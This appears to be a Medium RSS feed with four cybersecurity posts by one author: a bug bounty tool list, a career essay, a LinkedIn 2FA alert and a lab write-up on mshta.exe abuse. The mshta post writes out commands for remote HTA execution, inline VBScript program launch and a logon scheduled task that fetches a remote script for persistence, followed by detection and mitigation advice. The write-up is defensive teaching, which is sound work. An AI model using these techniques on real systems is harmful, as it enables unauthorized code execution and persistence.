<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hafsa Anwaar on Medium]]></title>
        <description><![CDATA[Stories by Hafsa Anwaar on Medium]]></description>
        <link>https://medium.com/@hafsaanwaar449?source=rss-447ad68334f7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*InsJskw2XzBe0qQdpnUY-A.jpeg</url>
            <title>Stories by Hafsa Anwaar on Medium</title>
            <link>https://medium.com/@hafsaanwaar449?source=rss-447ad68334f7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 00:28:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hafsaanwaar449/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bug Bounty Hunting Tools]]></title>
            <link>https://medium.com/@hafsaanwaar449/bug-bounty-hunting-tools-b84e654c3d8b?source=rss-447ad68334f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/b84e654c3d8b</guid>
            <dc:creator><![CDATA[Hafsa Anwaar]]></dc:creator>
            <pubDate>Sat, 27 Dec 2025 10:19:15 GMT</pubDate>
            <atom:updated>2025-12-27T12:41:35.139Z</atom:updated>
            <content:encoded><![CDATA[<p>Wordlists: <a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></p><p>Sub Domain Enumeration:<br><a href="https://github.com/projectdiscovery/subfinder">https://github.com/projectdiscovery/subfinder</a> <a href="https://github.com/projectdiscovery/httpx">https://github.com/projectdiscovery/httpx</a> <a href="https://github.com/projectdiscovery/dnsx">https://github.com/projectdiscovery/dnsx</a> <a href="https://github.com/tomnomnom/assetfinder">https://github.com/tomnomnom/assetfinder</a> <a href="https://github.com/claritysec/amass">https://github.com/claritysec/amass</a></p><p>Port Scanning:<br><a href="https://github.com/projectdiscovery/naabu">https://github.com/projectdiscovery/naabu</a><br><a href="https://github.com/nmap/nmap">https://github.com/nmap/nmap</a></p><p>Directory Bruteforcing: <a href="https://github.com/epi052/feroxbuster/releases/latest">https://github.com/epi052/feroxbuster/releases/latest</a></p><p>Technology Profiler:<br><a href="https://www.wappalyzer.com/">https://www.wappalyzer.com</a></p><p>Web Application Firewall (WAF) Detection Toolkit:<br><a href="https://github.com/EnableSecurity/wafw00f">https://github.com/EnableSecurity/wafw00f</a></p><p>Website Vulnerability Scanner:<br><a href="https://github.com/projectdiscovery/nuclei">https://github.com/projectdiscovery/nuclei</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b84e654c3d8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[mshta.exe Investigation & Security Analysis]]></title>
            <link>https://medium.com/@hafsaanwaar449/mshta-exe-investigation-security-analysis-d52f41d927ec?source=rss-447ad68334f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/d52f41d927ec</guid>
            <dc:creator><![CDATA[Hafsa Anwaar]]></dc:creator>
            <pubDate>Thu, 11 Sep 2025 14:31:52 GMT</pubDate>
            <atom:updated>2025-09-11T14:32:17.918Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objective</h3><p>· Simulate benign execution of mshta.exe and analyze how attackers can misuse it.</p><p>· Demonstrate proof-of-concept execution, examine potential abuse cases, and propose detection and mitigation techniques.</p><h3><strong>Abuse Scenarios:</strong></h3><h4><strong>Abuse Example 1:</strong></h4><p>Open the notepad and save this msg as filename hello.vbs on host machine</p><pre>&lt;html&gt;<br>&lt;head&gt;<br>  &lt;title&gt;Hello Intern&lt;/title&gt;<br>  &lt;HTA:APPLICATION ID=&quot;HelloApp&quot; /&gt;<br>  &lt;script language=&quot;VBScript&quot;&gt;<br>    MsgBox &quot;Hello Intern&quot;<br>    window.close<br>  &lt;/script&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Now verify if the file is created or not on host machine</p><pre> cd C:\Users\Hp\Downloads\lab <br> dir hello.hta</pre><p>Now Host it remotely</p><ul><li>Use <strong>Python HTTP server</strong> on host (if installed):</li></ul><pre>python -m http.server 8080</pre><p>Now on vm go to the powershell and execute</p><pre>mshta.exe http://&lt;host-ip&gt;/hello.hta</pre><p>This will open the popup html file</p><h4>Abuse Example 2— Inline VBScript (no file needed)</h4><p>Attackers often use <strong>inline code</strong> with vbscript: or javascript:.</p><p>Run this in your VM Command Prompt:</p><pre>mshta.exe &quot;vbscript:Execute(CreateObject(&quot;&quot;Wscript.Shell&quot;&quot;).Run(&quot;&quot;calc.exe&quot;&quot;))&quot;</pre><p>👉 This will directly execute Calculator.<br> (Replace calc.exe with any other program path if you want to test.)</p><h4>Abuse Example 3— Remote JavaScript Execution</h4><p>Attackers can host a <strong>remote JavaScript HTA</strong>. For your lab, you can just run inline JavaScript:</p><pre>mshta.exe &quot;javascript:alert(&#39;Hello Intern from JavaScript!&#39;);close();&quot;</pre><p>👉 This will show a popup alert (like in browsers) and then close.</p><h4>Abuse Example 4— Persistence Simulation</h4><p>You can also simulate how an attacker might use mshta.exe for persistence:</p><p>Create a Scheduled Task that runs mshta.exe at logon:</p><pre>schtasks /create /sc onlogon /tn &quot;MSHTA_Test&quot; /tr &quot;mshta.exe http://&lt;host-ip&gt;:8080/hello.hta&quot;</pre><p>👉 Next time you log in, mshta.exe would run your hosted script automatically.</p><h3>Detection Techniques</h3><ul><li>Monitor Windows Event ID 4688 (Process Creation) for mshta.exe executions.</li><li>To check the event log</li></ul><pre>auditpol /list /subcategory:*<br>auditpol /set /subcategory:&quot;Process Creation&quot; /success:enable<br>auditpol /get /subcategory:&quot;Process Creation&quot;</pre><pre>Get-WinEvent -LogName Security -MaxEvents 30 | Where-Object {$_.Id -eq 4688} | ForEach-Object {<br>    $_.Properties[5].Value<br>}</pre><p>👉Verify that mshta.exe process is there<br> — Detect suspicious command-line arguments such as:<br> * http:// or https://<br> * vbscript: or javascript:<br> — Analyze parent-child process relationships (e.g., cmd.exe → mshta.exe).<br> — Monitor unusual outbound network traffic generated by mshta.exe.</p><h3>Mitigation Strategies</h3><p>- Restrict mshta.exe execution using AppLocker or Windows Defender Application Control (WDAC).<br> — Disable HTA execution in enterprise environments where not required.<br> — Implement EDR/SIEM detection rules to alert on suspicious mshta.exe usage. <a href="https://lolbas-project.github.io/lolbas/Binaries/Mshta"><strong>https://lolbas-project.github.io/lolbas/Binaries/Mshta</strong></a></p><p>- Provide user awareness training to reduce risk of phishing-based execution.</p><h3>Conclusion</h3><p>mshta.exe is a legitimate Windows binary that can be abused by attackers to execute scripts, download remote payloads, and establish persistence. Enabling detailed process creation logging (Event ID 4688 with command line arguments) helps defenders detect such misuse. Restricting or disabling mshta.exe in enterprise environments significantly reduces attack surface.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d52f41d927ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Brain Said Psychology. My Skills Said Tech. Cybersecurity Said Both….]]></title>
            <link>https://medium.com/@hafsaanwaar449/my-brain-said-psychology-my-skills-said-tech-cybersecurity-said-both-edab095584cd?source=rss-447ad68334f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/edab095584cd</guid>
            <category><![CDATA[stem]]></category>
            <category><![CDATA[psychology]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[women-in-tech]]></category>
            <dc:creator><![CDATA[Hafsa Anwaar]]></dc:creator>
            <pubDate>Tue, 08 Jul 2025 17:52:39 GMT</pubDate>
            <atom:updated>2025-07-14T10:15:24.321Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s be real, figuring out what you wanna do with your life?<br> Hard. Like, really hard.</p><p>Especially when your brain’s pulling you in <strong>two completely different directions</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5nwxq8PQv4HOFnkU" /></figure><p><strong>On one side:</strong><br> I was that person deep into <strong>psychology</strong>. Obsessed with how people think, why they act the way they do, what drives their behavior when they think <em>no one’s watching</em>.<br> I loved decoding the mind. Understanding humans? Lowkey my thing.</p><p><strong>But on the flip side:</strong><br> I had this solid <strong>computer science</strong> background . I liked solving problems. I liked clean logic, structured systems, breaking stuff and fixing it again.<br> Basically, I liked telling machines what to do and making them <em>actually</em> listen.</p><p>So yeah.<br> Human brains 🧠 vs. Computer brains 💻<br> Pick a side?</p><blockquote>🛑 <strong>Plot twist:</strong> I didn’t.</blockquote><h3>👾 Cyber Security to the Rescue!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_VQesAaonnYdsKGr" /></figure><p>I kinda stumbled into cybersecurity, it wasn’t really on my radar at first.<br> It sounded super technical. Super elite. Firewalls? Exploits? SOCs? Like… huh?</p><p>But the more I explored it, the more I realized:</p><blockquote><strong><em>Cybersecurity is literally tech + psychology in disguise.</em></strong></blockquote><p>It’s not just about writing scripts or blocking malware, it’s about understanding <strong>the people behind the threats</strong>.</p><ul><li>Why do hackers hack?</li><li>How do they manipulate people?</li><li>What makes users fall for phishing emails?</li><li>How do we stop attacks <em>before</em> they happen?</li></ul><p>That’s when everything clicked.</p><p><strong>🧠 + 💻 = Me</strong></p><p>In cybersecurity, I get to:</p><ul><li>Use my <strong>tech brain</strong> to solve real-world problems.</li><li>Use my <strong>psych brain</strong> to think like an attacker.</li><li>Protect <strong>actual humans</strong>, not just machines.</li></ul><p>It’s strategy, behavior, logic, and empathy ; all in one.<br> It’s less about “hacking back” and more about <strong>outsmarting</strong> the threat with understanding.</p><p>Stuff like social engineering, phishing, trust manipulation that’s <strong>psychological warfare</strong>.<br> And I get to fight it with code, with tools, with awareness, with empathy.</p><h4>💡 Why Cyber Just Feels Right?</h4><p>This field makes sense for me. It’s not just a career move, it’s purpose.</p><ul><li>I get to build smart defenses.</li><li>I get to analyze risk through a human lens.</li><li>And I get to help people who don’t even know how vulnerable they are online.</li></ul><p>And let’s be honest:<br> Telling people, “I defend systems from digital criminals using psychology and code”?<br> Yeah. That sounds kinda dope.</p><h3>TL;DR</h3><p>🌀 Torn between psychology and tech<br> 🛡️ Found cybersecurity<br> 🧠 Now I decode people<br> 💻 Protect systems<br> 🔐 And love every second of it</p><p>No regrets. 10/10. Would choose again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=edab095584cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Alert: Increase in LinkedIn Account Hacks! ]]></title>
            <link>https://medium.com/@hafsaanwaar449/alert-increase-in-linkedin-account-hacks-711e1abcb9d5?source=rss-447ad68334f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/711e1abcb9d5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[defence-and-security]]></category>
            <category><![CDATA[mfa]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Hafsa Anwaar]]></dc:creator>
            <pubDate>Sun, 06 Jul 2025 11:02:58 GMT</pubDate>
            <atom:updated>2025-07-06T11:02:58.783Z</atom:updated>
            <content:encoded><![CDATA[<p>Lately, many LinkedIn users have fallen victim to hacking attempts, mainly due to non-secure profiles. Protect your account by enabling Two-Factor Authentication (2FA) — it’s quick and simple!</p><p>💡 <strong>To activate 2FA:</strong><br>Go to Settings.<br>Select Sign-in &amp; Security.<br>Find the Two-Factor Authentication (2FA) option and turn it on.<br>Choose your preferred security method (SMS or authentication app).</p><p>🔒<strong> Why 2FA is important:</strong><br>Adds an extra layer of protection.<br>Prevents unauthorized access, even if your password is compromised.<br>Reduces the risk of hacking and identity theft.</p><p>⏹ <strong>NOTE:</strong><br>2FA is a crucial defense and can block the majority of attacks, but it’s not foolproof. It’s important to stay vigilant, use secure methods like authentication apps, and watch out for phishing and other advanced attacks.<br>Remember it’s “better to be safe than sorry”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=711e1abcb9d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>